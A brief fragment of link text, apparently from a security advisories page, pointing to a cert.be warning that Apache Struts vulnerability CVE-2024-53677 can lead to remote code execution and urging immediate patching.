us/view-all-content/alerts-and-advisories/critical-security-vulnerability-affecting-apache-struts2-below-6-
4-0

« WARNING: CRITICAL VULNERABILITY IN APACHE STRUTS, CVE-2024-53677 CAN LEAD TO RCE, PATCH
IMMEDIATELY!: https://cert.be/nl/advisory/warning-critical-vulnerability-apache-struts-cve-2024-53677-
can-lead-rce-patch-immediately
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